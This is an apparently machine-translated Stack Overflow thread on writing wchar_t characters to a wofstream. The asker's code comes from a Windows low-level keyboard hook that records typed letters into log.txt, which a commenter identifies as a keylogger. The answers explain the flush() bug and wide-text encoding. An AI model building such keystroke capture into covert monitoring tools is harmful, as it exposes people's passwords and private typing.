2016-01-10 3 views
0

Я пытаюсь написать символ wchar_t (широкий символ) в файл. В настоящее время он записывает шестнадцатеричный код в файл, а не в символ.Написание wchar_t в файл

Вот часть в приложении, где она терпит неудачу

if(capslockKey || shiftKey) 
{ 
    // When debugging and I press 's' this becomes 'S'. It's visible in the deugging locals window. 
    wchar_t upper = towupper((wchar_t)*buffer); 

    if(upper != *buffer) 
     // "Testing " gets written to file, but upper gets written as a hex value 
     logFile << L"Testing " << upper << logFile.flush(); 

    return CallNextHookEx(hHook, nCode, wParam, lParam); 
} 

Я прокомментировал код. Когда отладка upper содержит правильный символ. Если нажата нижняя строчка s, она будет S, если нажата клавиша shift или capslock. Это прекрасно работает.

Но при записи в файл upper записывается как шестнадцатеричное значение. Строка Testing записывается как обычно. Вывод на stdout с использованием std::wout печатает символы просто отлично.

Как сохранить фактический символ в файле, а не шестнадцатеричное значение?

Благодаря Реми, я закончил с нижеследующим работает отлично:

/* 
* Is the keypress an alpha key? This limits everything except a-z and A-Z 
*/ 
if((p->vkCode > 64) && (p->vkCode < 91) || (p->vkCode > 96) && (p->vkCode < 123)) 
{ 
    /* 
    * Are we dealing with capital letters? 
    */ 
    if(capslockKey || shiftKey) 
    { 
     wchar_t upper = towupper((wchar_t)*buffer); 

     if(upper != *buffer) 
      logFile << (wchar_t)upper << std::flush; 
    }  
    else 
    { 
     logFile << buffer << std::flush; 
    } 

    return CallNextHookEx(hHook, nCode, wParam, lParam); 
} 

... Хотя WM_CHAR может быть лучшим вариантом для моих потребностей. Сохраняет необходимость иметь дело с такими проблемами, как нажатие или нет. Или преобразование VK_RETURN в \n.

Редактировать

Над бессмыслен (нижний регистр в верхнем регистре части). GetKeyboardState и toUnicodeEx делает это идеально с гораздо меньшими проблемами.

BYTE keyState[256] = {0}; 
bool keyStateResult = GetKeyboardState(keyState); 
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam; 
wchar_t buffer[5]; 

int toUnicodeResult = ToUnicodeEx(
    p->vkCode, 
    p->scanCode, 
    keyState, 
    buffer, 
    _countof(buffer), 
    0, 
    NULL 
); 
+0

Что такое ' logFile', на который вы пишете? Вы используете 'std :: wofstream' вместо' std :: ofstream', правильно? –

+0

Да, я использую wofstream. 'std :: wofstream logFile = logFile.open (L" log.txt ", std :: ios :: app);' – BugHunterUK

+0

[Ввод клавиатуры] (https://msdn.microsoft.com/en-us/library/ windows/desktop/ms645530.aspx) довольно нетривиально. В равной степени задействовано письмо с клавиатурным крючком. Какова конечная цель, которую вы пытаетесь достичь? Написание кейлоггера намного сложнее, чем вы, кажется, предполагаете. – IInspectable

ответ

3

На этой линии:

logFile << L"Testing " << upper << logFile.flush(); 

Вы не проходя flush() сам к operator<<. Сначала вы вызываете flush(), а затем передаете его возвращаемое значение (ссылка basic_ostream&) на operator<<, что вызывает появление шестнадцатеричного вывода.

Чтобы правильно очистить поток с помощью operator<<, вы должны использовать std::flush поток манипулятором вместо, который будет (косвенно) называют logFile.flush() для вас, не отправляя его возвращаемой ссылки на выход потока:

logFile << L"Testing " << upper << std::flush; 
1

Широкие потоки перевести и из узкого характера внешнего кодирования. Чтобы напрямую сохранить широкоформатный текст (UTF-16, закодированный в Windows), вы можете использовать узкий поток, открытый в двоичном режиме. Или вы можете использовать расширение Microsoft _setmode, чтобы установить _O_U16 -something режим в потоке, но это не переносится и, похоже, не работает с более новыми версиями MinGW g ++, хотя он работал раньше.


Хорошей альтернатива заключается в использовании стандартных библиотеки объектов для перевода широкого текста UTF-8 закодированного узкого текста, и кроме того, что в узкий поток открыт в двоичном режиме. Поскольку это Windows, было бы неплохо сохранить спецификацию (байтовый порядок байтов) в начале. И наоборот, в Unixland неплохо не делать этого.


Я не могу воспроизвести шестигранные цифры эффект – и не включают в себя код, чтобы воспроизвести его – но выше советы, что вам нужно сделать все равно, предполагая, что широкий текст ISN» t ограничено равным ASCII.

Смежные вопросы